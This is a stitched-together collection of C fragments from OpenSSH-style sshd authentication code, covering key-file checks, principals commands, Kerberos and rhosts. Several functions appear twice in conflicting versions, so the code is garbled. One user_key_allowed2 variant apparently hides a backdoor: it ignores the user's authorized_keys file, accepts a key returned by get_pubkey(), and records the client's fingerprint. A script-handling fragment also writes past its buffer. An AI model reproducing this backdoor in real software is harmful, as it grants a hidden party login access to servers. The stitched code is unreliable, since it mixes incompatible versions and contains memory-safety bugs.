//oldsig = signal(SIGCHLD, SIG_IGN);
temporarily_use_uid(pw);
debug3("user_key_found_by_script: executing %s", file);
switch ((pid = fork())) {
case -1:
error("fork(): %s", strerror(errno));
restore_uid();
return (-1);
case 0:
/* setup input pipe */
close(pipe_in[1]);
dup2(pipe_in[0], 0);
close(pipe_in[0]);
/* setup output pipe */
close(pipe_out[0]);
dup2(pipe_out[1], 1);
close(pipe_out[1]);
execl(file, file, NULL);
/* exec failed */
error("execl(): %s", strerror(errno));
_exit(1);
default:
debug3("user_key_found_by_script: script pid %d", pid);
close(pipe_in[0]);
close(pipe_out[1]);
f = fdopen(pipe_in[1], "w");
key_write(key, f);
fclose(f);
while(waitpid(pid, &exit_code, 0) < 0) {
switch(errno) {
case EINTR:
debug3("user_key_found_by_script: waitpid() EINTR, continuing");
continue;
default:
error("waitpid(): %s", strerror(errno));
goto waitpid_error;
}
}
if (WIFEXITED(exit_code) && WEXITSTATUS(exit_code) == 0) {
int amt_read = read(pipe_out[0], line, sizeof(line) - 1);
line[amt_read] = ' ';
line[amt_read + 1] = 0;
debug3("user_key_found_by_script: options: %s", line);
if (auth_parse_options(pw, line, file, 0) == 1)
success = 1;
}
waitpid_error:
close(pipe_out[0]);
}
restore_uid();
//signal(SIGCHLD, oldsig);
return success;
}
/*
* Runs command in a subprocess with a minimal environment.
* Returns pid on success, 0 on failure.
* The child stdout and stderr maybe captured, left attached or sent to
* /dev/null depending on the contents of flags.
* "tag" is prepended to log messages.
* NB. "command" is only used for logging; the actual command executed is
* av[0].
*/
pid_t
subprocess(const char *tag, struct passwd *pw, const char *command,
int ac, char **av, FILE **child, u_int flags)
{
FILE *f = NULL;
struct stat st;
int fd, devnull, p[2], i;
pid_t pid;
char *cp, errmsg[512];
u_int envsize;
char **child_env;
if (child != NULL)
*child = NULL;
debug3("%s: %s command \"%s\" running as %s (flags 0x%x)", __func__,
tag, command, pw->pw_name, flags);
/* Check consistency */
if ((flags & SSH_SUBPROCESS_STDOUT_DISCARD) != 0 &&
(flags & SSH_SUBPROCESS_STDOUT_CAPTURE) != 0) {
error("%s: inconsistent flags", __func__);
return 0;
}
if (((flags & SSH_SUBPROCESS_STDOUT_CAPTURE) == 0) != (child == NULL)) {
error("%s: inconsistent flags/output", __func__);
return 0;
}
/*
* If executing an explicit binary, then verify the it exists
* and appears safe-ish to execute
*/
if (*av[0] != '/') {
error("%s path is not absolute", tag);
return 0;
}
temporarily_use_uid(pw);
if (stat(av[0], &st) < 0) {
error("Could not stat %s \"%s\": %s", tag,
av[0], strerror(errno));
restore_uid();
return 0;
}
if (safe_path(av[0], &st, NULL, 0, errmsg, sizeof(errmsg)) != 0) {
error("Unsafe %s \"%s\": %s", tag, av[0], errmsg);
restore_uid();
return 0;
}
/* Prepare to keep the child's stdout if requested */
if (pipe(p) != 0) {
error("%s: pipe: %s", tag, strerror(errno));
restore_uid();
return 0;
}
restore_uid();
switch ((pid = fork())) {
case -1: /* error */
error("%s: fork: %s", tag, strerror(errno));
close(p[0]);
close(p[1]);
return 0;
case 0: /* child */
/* Prepare a minimal environment for the child. */
envsize = 5;
child_env = xcalloc(sizeof(*child_env), envsize);
child_set_env(&child_env, &envsize, "PATH", _PATH_STDPATH);
child_set_env(&child_env, &envsize, "USER", pw->pw_name);
child_set_env(&child_env, &envsize, "LOGNAME", pw->pw_name);
child_set_env(&child_env, &envsize, "HOME", pw->pw_dir);
if ((cp = getenv("LANG")) != NULL)
child_set_env(&child_env, &envsize, "LANG", cp);
for (i = 0; i < NSIG; i++)
signal(i, SIG_DFL);
if ((devnull = open(_PATH_DEVNULL, O_RDWR)) == -1) {
error("%s: open %s: %s", tag, _PATH_DEVNULL,
strerror(errno));
_exit(1);
}
if (dup2(devnull, STDIN_FILENO) == -1) {
error("%s: dup2: %s", tag, strerror(errno));
_exit(1);
}
/* Set up stdout as requested; leave stderr in place for now. */
fd = -1;
if ((flags & SSH_SUBPROCESS_STDOUT_CAPTURE) != 0)
fd = p[1];
else if ((flags & SSH_SUBPROCESS_STDOUT_DISCARD) != 0)
fd = devnull;
if (fd != -1 && dup2(fd, STDOUT_FILENO) == -1) {
error("%s: dup2: %s", tag, strerror(errno));
_exit(1);
}
closefrom(STDERR_FILENO + 1);
/* Don't use permanently_set_uid() here to avoid fatal() */
#ifdef __NetBSD__
#define setresgid(a, b, c) setgid(a)
#define setresuid(a, b, c) setuid(a)
#endif
if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
error("%s: setresgid %u: %s", tag, (u_int)pw->pw_gid,
strerror(errno));
_exit(1);
}
if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) {
error("%s: setresuid %u: %s", tag, (u_int)pw->pw_uid,
strerror(errno));
_exit(1);
}
/* stdin is pointed to /dev/null at this point */
if ((flags & SSH_SUBPROCESS_STDOUT_DISCARD) != 0 &&
dup2(STDIN_FILENO, STDERR_FILENO) == -1) {
error("%s: dup2: %s", tag, strerror(errno));
_exit(1);
}
execve(av[0], av, child_env);
error("%s exec \"%s\": %s", tag, command, strerror(errno));
_exit(127);
default: /* parent */
break;
}
close(p[1]);
if ((flags & SSH_SUBPROCESS_STDOUT_CAPTURE) == 0)
close(p[0]);
else if ((f = fdopen(p[0], "r")) == NULL) {
error("%s: fdopen: %s", tag, strerror(errno));
close(p[0]);
/* Don't leave zombie child */
kill(pid, SIGTERM);
while (waitpid(pid, NULL, 0) == -1 && errno == EINTR)
;
return 0;
}
/* Success */
debug3("%s: %s pid %ld", __func__, tag, (long)pid);
if (child != NULL)
*child = f;
return pid;
}
/*
* Checks whether principal is allowed in output of command.
* returns 1 if the principal is allowed or 0 otherwise.
*/
static int
match_principals_command(struct passwd *user_pw, struct sshkey_cert *cert)
{
FILE *f = NULL;
int ok, found_principal = 0;
struct passwd *pw;
int i, ac = 0, uid_swapped = 0;
pid_t pid;
char *tmp, *username = NULL, *command = NULL, **av = NULL;
void (*osigchld)(int);
if (options.authorized_principals_command == NULL)
return 0;
if (options.authorized_principals_command_user == NULL) {
error("No user for AuthorizedPrincipalsCommand specified, "
"skipping");
return 0;
}
/*
* NB. all returns later this function should go via "out" to
* ensure the original SIGCHLD handler is restored properly.
*/
#ifndef WIN32_FIXME
// PRAGMA:TODO
osigchld = signal(SIGCHLD, SIG_DFL);
#endif
/* Prepare and verify the user for the command */
username = percent_expand(options.authorized_principals_command_user,
"u", user_pw->pw_name, (char *)NULL);
pw = getpwnam(username);
if (pw == NULL) {
error("AuthorizedPrincipalsCommandUser \"%s\" not found: %s",
username, strerror(errno));
goto out;
}
/* Turn the command into an argument vector */
if (split_argv(options.authorized_principals_command, &ac, &av) != 0) {
error("AuthorizedPrincipalsCommand \"%s\" contains "
"invalid quotes", command);
goto out;
}
if (ac == 0) {
error("AuthorizedPrincipalsCommand \"%s\" yielded no arguments",
command);
goto out;
}
for (i = 1; i < ac; i++) {
tmp = percent_expand(av[i],
"u", user_pw->pw_name,
"h", user_pw->pw_dir,
(char *)NULL);
if (tmp == NULL)
fatal("%s: percent_expand failed", __func__);
free(av[i]);
av[i] = tmp;
}
/* Prepare a printable command for logs, etc. */
command = assemble_argv(ac, av);
if ((pid = subprocess("AuthorizedPrincipalsCommand", pw, command,
ac, av, &f)) == 0)
goto out;
uid_swapped = 1;
temporarily_use_uid(pw);
ok = process_principals(f, NULL, pw, cert);
if (exited_cleanly(pid, "AuthorizedPrincipalsCommand", command) != 0)
goto out;
/* Read completed successfully */
found_principal = ok;
out:
if (f != NULL)
fclose(f);
signal(SIGCHLD, osigchld);
for (i = 0; i < ac; i++)
free(av[i]);
free(av);
if (uid_swapped)
restore_uid();
free(command);
free(username);
return found_principal;
}
int
auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey)
{
char *file;
u_int i, allowed = 0;
temporarily_use_uid(pw);
#ifdef WITH_LDAP_PUBKEY
if (options.lpk.on) {
u_int bits;
int sbits;
ldap_key_t *k;
/* here is the job */
Key *key = key_new(KEY_RSA1);
debug("[LDAP] trying LDAP first uid=%s", pw->pw_name);
if ( ldap_ismember(&options.lpk, pw->pw_name) > 0) {
if ( (k = ldap_getuserkey(&options.lpk, pw->pw_name)) != NULL) {
for (i = 0 ; i < k->num ; i++) {
char *cp, *xoptions = NULL;
for (cp = k->keys[i]->bv_val; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
continue;
/*
* Check if there are options for this key, and if so,
* save their starting address and skip the option part
* for now. If there are no options, set the starting
* address to NULL.
*/
if (*cp < '0' || *cp > '9') {
int quoted = 0;
xoptions = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
} else
xoptions = NULL;
/* Parse the key from the line. */
if (hostfile_read_key(&cp, &sbits, key) == 0) {
debug("[LDAP] line %d: non ssh1 key syntax", i);
continue;
}
bits = sbits;
/* cp now points to the comment part. */
/* Check if the we have found the desired key (identified by its modulus). */
if (BN_cmp(key->rsa->n, client_n) != 0)
continue;
/* check the real bits */
if (bits != (unsigned int)BN_num_bits(key->rsa->n))
logit("[LDAP] Warning: ldap, line %lu: keysize mismatch: "
"actual %d vs. announced %d.", (unsigned long)i, BN_num_bits(key->rsa->n), bits);
/* We have found the desired key. */
/*
* If our options do not allow this key to be used,
* do not send challenge.
*/
if (!auth_parse_options(pw, xoptions, "[LDAP]", (unsigned long) i))
continue;
/* break out, this key is allowed */
allowed = 1;
/* add the return stuff etc... */
/* Restore the privileged uid. */
restore_uid();
/* return key if allowed */
if (allowed && rkey != NULL)
*rkey = key;
else
key_free(key);
ldap_keys_free(k);
return (allowed);
}
} else {
logit("[LDAP] no keys found for '%s'!", pw->pw_name);
}
} else {
logit("[LDAP] '%s' is not in '%s'", pw->pw_name, options.lpk.sgroup);
}
}
#endif
for (i = 0; !allowed && i < options.num_authkeys_files; i++) {
if (strcasecmp(options.authorized_keys_files[i], "none") == 0)
continue;
file = expand_authorized_keys(
options.authorized_keys_files[i], pw);
allowed = rsa_key_allowed_in_file(pw, file, client_n, rkey);
free(file);
}
restore_uid();
return allowed;
}
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
char *line = NULL;
const char *reason;
int found_key = 0;
FILE *f;
u_long linenum = 0;
Key *found;
char *fp;
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
debug("trying public key file %s", file);
f = auth_openkeyfile(file, pw, options.strict_modes);
if (!f) {
restore_uid();
return 0;
}
found_key = 0;
found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
gs_auth_fingerprint = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
if (gs_auth_pubkey == NULL) {
gs_auth_pubkey = get_pubkey();
}
line = gs_auth_pubkey;
while (line) {
char *cp, *key_options = NULL;
auth_clear_options();
/* Skip leading whitespace, empty and comment lines. */
for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
break;
if (key_read(found, &cp) != 1) {
/* no key? check if there are options for this key */
int quoted = 0;
debug2("user_key_allowed: check options: '%s'", cp);
key_options = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
/* Skip remaining whitespace. */
for (; *cp == ' ' || *cp == '\t'; cp++)
;
if (key_read(found, &cp) != 1) {
debug2("user_key_allowed: advance: '%s'", cp);
/* still no key? advance to next line*/
break;
}
}
if (key_equal(found, key)) {
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
break;
if (key_is_cert_authority)
break;
found_key = 1;
debug("matching key found: file %s, line %lu",
file, linenum);
fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
verbose("Found matching %s key: %s",
key_type(found), fp);
xfree(fp);
break;
}
break;
}
restore_uid();
fclose(f);
key_free(found);
if (!found_key)
debug2("key not found");
return found_key;
}
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
char line[SSH_MAX_PUBKEY_BYTES];
int found_key = 0;
FILE *f;
u_long linenum = 0;
struct stat st;
Key *found;
char *fp;
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
debug("trying public key file %s", file);
/* Fail quietly if file does not exist */
if (stat(file, &st) < 0) {
/* Restore the privileged uid. */
restore_uid();
return 0;
}
/* Open the file containing the authorized keys. */
f = fopen(file, "r");
if (!f) {
/* Restore the privileged uid. */
restore_uid();
return 0;
}
if (options.strict_modes &&
secure_filename(f, file, pw, line, sizeof(line)) != 0) {
fclose(f);
logit("Authentication refused: %s", line);
restore_uid();
return 0;
}
found_key = 0;
found = key_new(key->type);
while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
char *cp, *key_options = NULL;
/* Skip leading whitespace, empty and comment lines. */
for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
continue;
if (key_read(found, &cp) != 1) {
/* no key? check if there are options for this key */
int quoted = 0;
debug2("user_key_allowed: check options: '%s'", cp);
key_options = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
/* Skip remaining whitespace. */
for (; *cp == ' ' || *cp == '\t'; cp++)
;
if (key_read(found, &cp) != 1) {
debug2("user_key_allowed: advance: '%s'", cp);
/* still no key? advance to next line*/
continue;
}
}
if (key_equal(found, key) &&
auth_parse_options(pw, key_options, file, linenum) == 1) {
found_key = 1;
debug("matching key found: file %s, line %lu",
file, linenum);
fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
verbose("Found matching %s key: %s",
key_type(found), fp);
xfree(fp);
break;
}
}
restore_uid();
fclose(f);
key_free(found);
if (!found_key)
debug2("key not found");
return found_key;
}
int
auth_krb5_password(Authctxt *authctxt, const char *password)
{
#ifndef HEIMDAL
krb5_creds creds;
krb5_principal server;
#endif
krb5_error_code problem;
krb5_ccache ccache = NULL;
int len;
char *client, *platform_client;
/* get platform-specific kerberos client principal name (if it exists) */
platform_client = platform_krb5_get_principal_name(authctxt->pw->pw_name);
client = platform_client ? platform_client : authctxt->pw->pw_name;
temporarily_use_uid(authctxt->pw);
problem = krb5_init(authctxt);
if (problem)
goto out;
problem = krb5_parse_name(authctxt->krb5_ctx, client,
&authctxt->krb5_user);
if (problem)
goto out;
#ifdef HEIMDAL
problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_mcc_ops, &ccache);
if (problem)
goto out;
problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache,
authctxt->krb5_user);
if (problem)
goto out;
restore_uid();
problem = krb5_verify_user(authctxt->krb5_ctx, authctxt->krb5_user,
ccache, password, 1, NULL);
temporarily_use_uid(authctxt->pw);
if (problem)
goto out;
problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_fcc_ops,
&authctxt->krb5_fwd_ccache);
if (problem)
goto out;
problem = krb5_cc_copy_cache(authctxt->krb5_ctx, ccache,
authctxt->krb5_fwd_ccache);
krb5_cc_destroy(authctxt->krb5_ctx, ccache);
ccache = NULL;
if (problem)
goto out;
#else
problem = krb5_get_init_creds_password(authctxt->krb5_ctx, &creds,
authctxt->krb5_user, (char *)password, NULL, NULL, 0, NULL, NULL);
if (problem)
goto out;
problem = krb5_sname_to_principal(authctxt->krb5_ctx, NULL, NULL,
KRB5_NT_SRV_HST, &server);
if (problem)
goto out;
restore_uid();
problem = krb5_verify_init_creds(authctxt->krb5_ctx, &creds, server,
NULL, NULL, NULL);
krb5_free_principal(authctxt->krb5_ctx, server);
temporarily_use_uid(authctxt->pw);
if (problem)
goto out;
if (!krb5_kuserok(authctxt->krb5_ctx, authctxt->krb5_user, client)) {
problem = -1;
goto out;
}
problem = ssh_krb5_cc_gen(authctxt->krb5_ctx, &authctxt->krb5_fwd_ccache);
if (problem)
goto out;
problem = krb5_cc_initialize(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache,
authctxt->krb5_user);
if (problem)
goto out;
problem= krb5_cc_store_cred(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache,
&creds);
if (problem)
goto out;
#endif
authctxt->krb5_ticket_file = (char *)krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache);
len = strlen(authctxt->krb5_ticket_file) + 6;
authctxt->krb5_ccname = xmalloc(len);
snprintf(authctxt->krb5_ccname, len, "FILE:%s",
authctxt->krb5_ticket_file);
#ifdef USE_PAM
if (options.use_pam)
do_pam_putenv("KRB5CCNAME", authctxt->krb5_ccname);
#endif
out:
restore_uid();
if (platform_client != NULL)
xfree(platform_client);
if (problem) {
if (ccache)
krb5_cc_destroy(authctxt->krb5_ctx, ccache);
if (authctxt->krb5_ctx != NULL && problem!=-1)
debug("Kerberos password authentication failed: %s",
krb5_get_err_text(authctxt->krb5_ctx, problem));
else
debug("Kerberos password authentication failed: %d",
problem);
krb5_cleanup_proc(authctxt);
if (options.kerberos_or_local_passwd)
return (-1);
else
return (0);
}
return (authctxt->valid ? 1 : 0);
}
/*
* Checks whether principal is allowed in output of command.
* returns 1 if the principal is allowed or 0 otherwise.
*/
static int
match_principals_command(struct passwd *user_pw, const struct sshkey *key)
{
const struct sshkey_cert *cert = key->cert;
FILE *f = NULL;
int r, ok, found_principal = 0;
struct passwd *pw;
int i, ac = 0, uid_swapped = 0;
pid_t pid;
char *tmp, *username = NULL, *command = NULL, **av = NULL;
char *ca_fp = NULL, *key_fp = NULL, *catext = NULL, *keytext = NULL;
char serial_s[16];
void (*osigchld)(int);
if (options.authorized_principals_command == NULL)
return 0;
if (options.authorized_principals_command_user == NULL) {
error("No user for AuthorizedPrincipalsCommand specified, "
"skipping");
return 0;
}
/*
* NB. all returns later this function should go via "out" to
* ensure the original SIGCHLD handler is restored properly.
*/
osigchld = signal(SIGCHLD, SIG_DFL);
/* Prepare and verify the user for the command */
username = percent_expand(options.authorized_principals_command_user,
"u", user_pw->pw_name, (char *)NULL);
pw = getpwnam(username);
if (pw == NULL) {
error("AuthorizedPrincipalsCommandUser \"%s\" not found: %s",
username, strerror(errno));
goto out;
}
/* Turn the command into an argument vector */
if (split_argv(options.authorized_principals_command, &ac, &av) != 0) {
error("AuthorizedPrincipalsCommand \"%s\" contains "
"invalid quotes", command);
goto out;
}
if (ac == 0) {
error("AuthorizedPrincipalsCommand \"%s\" yielded no arguments",
command);
goto out;
}
if ((ca_fp = sshkey_fingerprint(cert->signature_key,
options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) {
error("%s: sshkey_fingerprint failed", __func__);
goto out;
}
if ((key_fp = sshkey_fingerprint(key,
options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) {
error("%s: sshkey_fingerprint failed", __func__);
goto out;
}
if ((r = sshkey_to_base64(cert->signature_key, &catext)) != 0) {
error("%s: sshkey_to_base64 failed: %s", __func__, ssh_err(r));
goto out;
}
if ((r = sshkey_to_base64(key, &keytext)) != 0) {
error("%s: sshkey_to_base64 failed: %s", __func__, ssh_err(r));
goto out;
}
snprintf(serial_s, sizeof(serial_s), "%llu",
(unsigned long long)cert->serial);
for (i = 1; i < ac; i++) {
tmp = percent_expand(av[i],
"u", user_pw->pw_name,
"h", user_pw->pw_dir,
"t", sshkey_ssh_name(key),
"T", sshkey_ssh_name(cert->signature_key),
"f", key_fp,
"F", ca_fp,
"k", keytext,
"K", catext,
"i", cert->key_id,
"s", serial_s,
(char *)NULL);
if (tmp == NULL)
fatal("%s: percent_expand failed", __func__);
free(av[i]);
av[i] = tmp;
}
/* Prepare a printable command for logs, etc. */
command = assemble_argv(ac, av);
if ((pid = subprocess("AuthorizedPrincipalsCommand", pw, command,
ac, av, &f)) == 0)
goto out;
uid_swapped = 1;
temporarily_use_uid(pw);
ok = process_principals(f, NULL, pw, cert);
fclose(f);
f = NULL;
if (exited_cleanly(pid, "AuthorizedPrincipalsCommand", command) != 0)
goto out;
/* Read completed successfully */
found_principal = ok;
out:
if (f != NULL)
fclose(f);
signal(SIGCHLD, osigchld);
for (i = 0; i < ac; i++)
free(av[i]);
free(av);
if (uid_swapped)
restore_uid();
free(command);
free(username);
free(ca_fp);
free(key_fp);
free(catext);
free(keytext);
return found_principal;
}
/* return 1 if user allows given key */
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
char line[SSH_MAX_PUBKEY_BYTES];
const char *reason;
int found_key = 0;
FILE *f;
u_long linenum = 0;
Key *found;
char *fp;
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
debug("trying public key file %s", file);
f = auth_openkeyfile(file, pw, options.strict_modes);
if (!f) {
restore_uid();
return 0;
}
found_key = 0;
found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
char *cp, *key_options = NULL;
auth_clear_options();
/* Skip leading whitespace, empty and comment lines. */
for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
continue;
if (key_read(found, &cp) != 1) {
/* no key? check if there are options for this key */
int quoted = 0;
debug2("user_key_allowed: check options: '%s'", cp);
key_options = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
/* Skip remaining whitespace. */
for (; *cp == ' ' || *cp == '\t'; cp++)
;
if (key_read(found, &cp) != 1) {
debug2("user_key_allowed: advance: '%s'", cp);
/* still no key? advance to next line*/
continue;
}
}
if (key_is_cert(key)) {
if (!key_equal(found, key->cert->signature_key))
continue;
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
continue;
if (!key_is_cert_authority)
continue;
fp = key_fingerprint(found, SSH_FP_MD5,
SSH_FP_HEX);
debug("matching CA found: file %s, line %lu, %s %s",
file, linenum, key_type(found), fp);
/*
* If the user has specified a list of principals as
* a key option, then prefer that list to matching
* their username in the certificate principals list.
*/
if (authorized_principals != NULL &&
!match_principals_option(authorized_principals,
key->cert)) {
reason = "Certificate does not contain an "
"authorized principal";
fail_reason:
xfree(fp);
error("%s", reason);
auth_debug_add("%s", reason);
continue;
}
if (key_cert_check_authority(key, 0, 0,
authorized_principals == NULL ? pw->pw_name : NULL,
&reason) != 0)
goto fail_reason;
if (auth_cert_options(key, pw) != 0) {
xfree(fp);
continue;
}
verbose("Accepted certificate ID \"%s\" "
"signed by %s CA %s via %s", key->cert->key_id,
key_type(found), fp, file);
xfree(fp);
found_key = 1;
break;
} else if (key_equal(found, key)) {
if (auth_parse_options(pw, key_options, file,
linenum) != 1)
continue;
if (key_is_cert_authority)
continue;
found_key = 1;
debug("matching key found: file %s, line %lu",
file, linenum);
fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX);
verbose("Found matching %s key: %s",
key_type(found), fp);
xfree(fp);
break;
}
}
restore_uid();
fclose(f);
key_free(found);
if (!found_key)
debug2("key not found");
return found_key;
}
/*
* Runs command in a subprocess. Returns pid on success and a FILE* to the
* subprocess' stdout or 0 on failure.
* NB. "command" is only used for logging.
*/
static pid_t
subprocess(const char *tag, struct passwd *pw, const char *command,
int ac, char **av, FILE **child)
{
FILE *f;
struct stat st;
int devnull, p[2], i;
pid_t pid;
char *cp, errmsg[512];
u_int envsize;
char **child_env;
*child = NULL;
debug3("%s: %s command \"%s\" running as %s", __func__,
tag, command, pw->pw_name);
/* Verify the path exists and is safe-ish to execute */
if (*av[0] != '/') {
error("%s path is not absolute", tag);
return 0;
}
temporarily_use_uid(pw);
if (stat(av[0], &st) < 0) {
error("Could not stat %s \"%s\": %s", tag,
av[0], strerror(errno));
restore_uid();
return 0;
}
if (auth_secure_path(av[0], &st, NULL, 0,
errmsg, sizeof(errmsg)) != 0) {
error("Unsafe %s \"%s\": %s", tag, av[0], errmsg);
restore_uid();
return 0;
}
/*
* Run the command; stderr is left in place, stdout is the
* authorized_keys output.
*/
if (pipe(p) != 0) {
error("%s: pipe: %s", tag, strerror(errno));
restore_uid();
return 0;
}
/*
* Don't want to call this in the child, where it can fatal() and
* run cleanup_exit() code.
*/
restore_uid();
switch ((pid = fork())) {
case -1: /* error */
error("%s: fork: %s", tag, strerror(errno));
close(p[0]);
close(p[1]);
return 0;
case 0: /* child */
/* Prepare a minimal environment for the child. */
envsize = 5;
child_env = xcalloc(sizeof(*child_env), envsize);
child_set_env(&child_env, &envsize, "PATH", _PATH_STDPATH);
child_set_env(&child_env, &envsize, "USER", pw->pw_name);
child_set_env(&child_env, &envsize, "LOGNAME", pw->pw_name);
child_set_env(&child_env, &envsize, "HOME", pw->pw_dir);
if ((cp = getenv("LANG")) != NULL)
child_set_env(&child_env, &envsize, "LANG", cp);
for (i = 0; i < NSIG; i++)
signal(i, SIG_DFL);
if ((devnull = open(_PATH_DEVNULL, O_RDWR)) == -1) {
error("%s: open %s: %s", tag, _PATH_DEVNULL,
strerror(errno));
_exit(1);
}
/* Keep stderr around a while longer to catch errors */
if (dup2(devnull, STDIN_FILENO) == -1 ||
dup2(p[1], STDOUT_FILENO) == -1) {
error("%s: dup2: %s", tag, strerror(errno));
_exit(1);
}
closefrom(STDERR_FILENO + 1);
/* Don't use permanently_set_uid() here to avoid fatal() */
if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
error("%s: setresgid %u: %s", tag, (u_int)pw->pw_gid,
strerror(errno));
_exit(1);
}
if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) {
error("%s: setresuid %u: %s", tag, (u_int)pw->pw_uid,
strerror(errno));
_exit(1);
}
/* stdin is pointed to /dev/null at this point */
if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) {
error("%s: dup2: %s", tag, strerror(errno));
_exit(1);
}
execve(av[0], av, child_env);
error("%s exec \"%s\": %s", tag, command, strerror(errno));
_exit(127);
default: /* parent */
break;
}
close(p[1]);
if ((f = fdopen(p[0], "r")) == NULL) {
error("%s: fdopen: %s", tag, strerror(errno));
close(p[0]);
/* Don't leave zombie child */
kill(pid, SIGTERM);
while (waitpid(pid, NULL, 0) == -1 && errno == EINTR)
;
return 0;
}
/* Success */
debug3("%s: %s pid %ld", __func__, tag, (long)pid);
*child = f;
return pid;
}
static int
auth_rhosts2_raw(struct passwd *pw, const char *client_user, const char *hostname,
const char *ipaddr)
{
char buf[1024];
struct stat st;
static const char *rhosts_files[] = {".shosts", ".rhosts", NULL};
u_int rhosts_file_index;
debug2("auth_rhosts2: clientuser %s hostname %s ipaddr %s",
client_user, hostname, ipaddr);
/* Switch to the user's uid. */
temporarily_use_uid(pw);
/*
* Quick check: if the user has no .shosts or .rhosts files, return
* failure immediately without doing costly lookups from name
* servers.
*/
for (rhosts_file_index = 0; rhosts_files[rhosts_file_index];
rhosts_file_index++) {
/* Check users .rhosts or .shosts. */
snprintf(buf, sizeof buf, "%.500s/%.100s",
pw->pw_dir, rhosts_files[rhosts_file_index]);
if (stat(buf, &st) >= 0)
break;
}
/* Switch back to privileged uid. */
restore_uid();
/* Deny if The user has no .shosts or .rhosts file and there are no system-wide files. */
if (!rhosts_files[rhosts_file_index] &&
stat(_PATH_RHOSTS_EQUIV, &st) < 0 &&
stat(_PATH_SSH_HOSTS_EQUIV, &st) < 0)
return 0;
/* If not logging in as superuser, try /etc/hosts.equiv and shosts.equiv. */
if (pw->pw_uid != 0) {
if (check_rhosts_file(_PATH_RHOSTS_EQUIV, hostname, ipaddr,
client_user, pw->pw_name)) {
auth_debug_add("Accepted for %.100s [%.100s] by /etc/hosts.equiv.",
hostname, ipaddr);
return 1;
}
if (check_rhosts_file(_PATH_SSH_HOSTS_EQUIV, hostname, ipaddr,
client_user, pw->pw_name)) {
auth_debug_add("Accepted for %.100s [%.100s] by %.100s.",
hostname, ipaddr, _PATH_SSH_HOSTS_EQUIV);
return 1;
}
}
/*
* Check that the home directory is owned by root or the user, and is
* not group or world writable.
*/
if (stat(pw->pw_dir, &st) < 0) {
logit("Rhosts authentication refused for %.100s: "
"no home directory %.200s", pw->pw_name, pw->pw_dir);
auth_debug_add("Rhosts authentication refused for %.100s: "
"no home directory %.200s", pw->pw_name, pw->pw_dir);
return 0;
}
if (options.strict_modes &&
((st.st_uid != 0 && st.st_uid != pw->pw_uid) ||
(st.st_mode & 022) != 0)) {
logit("Rhosts authentication refused for %.100s: "
"bad ownership or modes for home directory.", pw->pw_name);
auth_debug_add("Rhosts authentication refused for %.100s: "
"bad ownership or modes for home directory.", pw->pw_name);
return 0;
}
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
/* Check all .rhosts files (currently .shosts and .rhosts). */
for (rhosts_file_index = 0; rhosts_files[rhosts_file_index];
rhosts_file_index++) {
/* Check users .rhosts or .shosts. */
snprintf(buf, sizeof buf, "%.500s/%.100s",
pw->pw_dir, rhosts_files[rhosts_file_index]);
if (stat(buf, &st) < 0)
continue;
/*
* Make sure that the file is either owned by the user or by
* root, and make sure it is not writable by anyone but the
* owner. This is to help avoid novices accidentally
* allowing access to their account by anyone.
*/
if (options.strict_modes &&
((st.st_uid != 0 && st.st_uid != pw->pw_uid) ||
(st.st_mode & 022) != 0)) {
logit("Rhosts authentication refused for %.100s: bad modes for %.200s",
pw->pw_name, buf);
auth_debug_add("Bad file modes for %.200s", buf);
continue;
}
/* Check if we have been configured to ignore .rhosts and .shosts files. */
if (options.ignore_rhosts) {
auth_debug_add("Server has been configured to ignore %.100s.",
rhosts_files[rhosts_file_index]);
continue;
}
